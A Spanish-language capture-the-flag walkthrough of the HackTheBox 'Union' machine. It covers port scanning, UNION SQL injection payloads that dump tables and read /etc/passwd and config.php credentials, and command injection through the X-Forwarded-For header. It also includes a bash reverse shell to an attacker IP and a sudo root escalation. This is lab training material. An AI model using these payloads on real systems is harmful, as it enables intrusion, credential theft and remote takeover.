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# Informe de HackTheBox de Union

Informe de HackTheBox de Union para una máquina Linux de dificultad media que cubre SQLI (inyección SQL) - inyección UNION, SQLI - lectura de archivos, inyección de comandos en cabeceras HTTP - X-FORWARDED-FOR (RCE), abuso del archivo sudoers (Priv

{% embed url="<https://app.hackthebox.com/machines/Union>" %}

{% hint style="warning" %}
**Habilidades:**

* SQLI (inyección SQL) - Inyección UNION
* SQLI - Lectura de archivos
* Inyección de comandos en cabeceras HTTP - X-FORWARDED-FOR (RCE)
* Abusando del privilegio sudoers (escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

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**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

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**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.128 -oG allPorts
```

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**Análisis de puertos abiertos con extractPorts:**

Usando la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles (80)

```bash
nmap -sCV -p80 10.10.11.128 -oN targeted
```

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### Puerto 80 - HTTP

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### Lista de archivos

con gobusteron se realizará una enumeración de archivos con extensiones php

```bash
gobuster dir -u http://10.10.11.128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,txt
```

Hay dos archivos que no son accesibles externamente: `config.php` y `firewall.php`.

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En `index.php`, si añadimos un nombre en el formulario, aparece en la respuesta.

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el archivo del reto nos pide una flag

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## Vulnerabilidad SQLI - Inyección UNION

Interceptamos la petición con Burp Suite y alteramos la variable `player`:

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```sql
jordan' union select database()-- -
```

El nombre de la base de datos es `november`.

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Para listar todas las bases de datos:

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -
```

Resultado: `mysql,information_schema,performance_schema,sys, november`

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Lista las tablas en `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -
```

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Lista las columnas de la `players` tabla:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -
```

Columnas encontradas: `player`

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**Extracción de datos de usuarios**

```sql
jordan' union select group_concat(player,':') from players-- -
```

Jugadores encontrados: `ippsec,celesian,big0us,luska,tinyboy`

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Extracción de la flag:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -
```

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```sql
jordan' union select group_concat(one,':') from flag-- -
```

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* Flag encontrada: `UHC{F1rst_5tep_2_Qualify}`

## **SQLI - Lectura de archivos**

Leer `/etc/passwd`:

```sql
jordan' union select load_file('/etc/passwd');-- -
```

Encontramos un `uhc` usuario.

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### Bandera user.txt

Leer `user.txt`:

```sql
jordan' union select load_file('/home/uhc/user.txt');-- -
```

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Lectura `config.php`, encontramos credenciales de la base de datos:

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<pre class="language-sql"><code class="lang-sql">$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
<strong>$dbname = "november"
</strong></code></pre>

Lectura `firewall.php`, entendemos que enviar la flag abre el puerto SSH:

```sql

jordan' union select load_file('/var/www/html/firewall.php');-- -
```

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Enviamos la flag: `UHC{F1rst_5tep_2_Qualify}`.

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El puerto 22 está ahora abierto.<br>

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### Conexión SSH

Usamos las credenciales identificadas para iniciar sesión:

```bash
ssh uhc@10.10.11.128

uhc-11qual-global-pw
```

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## **Escalada de privilegios**

### Inyección de comandos en cabeceras HTTP - X-FORWARDED-FOR (RCE)

Si miras el `firewall.php` archivo, notas que recupera el `HTTP_X_FORWARDED_FOR` cabecera y la usa con `sudo` para ejecutar un comando:

```php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
```

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Dado que esta variable puede controlarse mediante una petición HTTP, podemos inyectar un comando arbitrario.

**Explotación**

Al tratarse de una cabecera HTTP, podemos inyectar un comando, por ejemplo usando `curl` para contactar con nuestro servidor web.

**Implementación de un servidor web:**

```bash
python3 -m http.server 80
```

**Control de la inyección con `curl`:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

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**Shell inversa**

**Escuchar en el puerto 443:**

```bash
nc -nlvp 443
```

**Orden para obtener una shell remota:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

Una vez conectados, somos el usuario `www-data`.

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#### Estabilización de la terminal

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### SUDO - (ALL:ALL)

Con el siguiente comando, comprobamos `sudo` los permisos:

```bash
sudo -l 
```

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Si vemos que `www-data` puede ejecutar cualquier comando como cualquier usuario (`(ALL: ALL) ALL`), entonces podemos ejecutar una shell de root con:

```bash
sudo /bin/bash -p
```

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### Bandera root.txt :)

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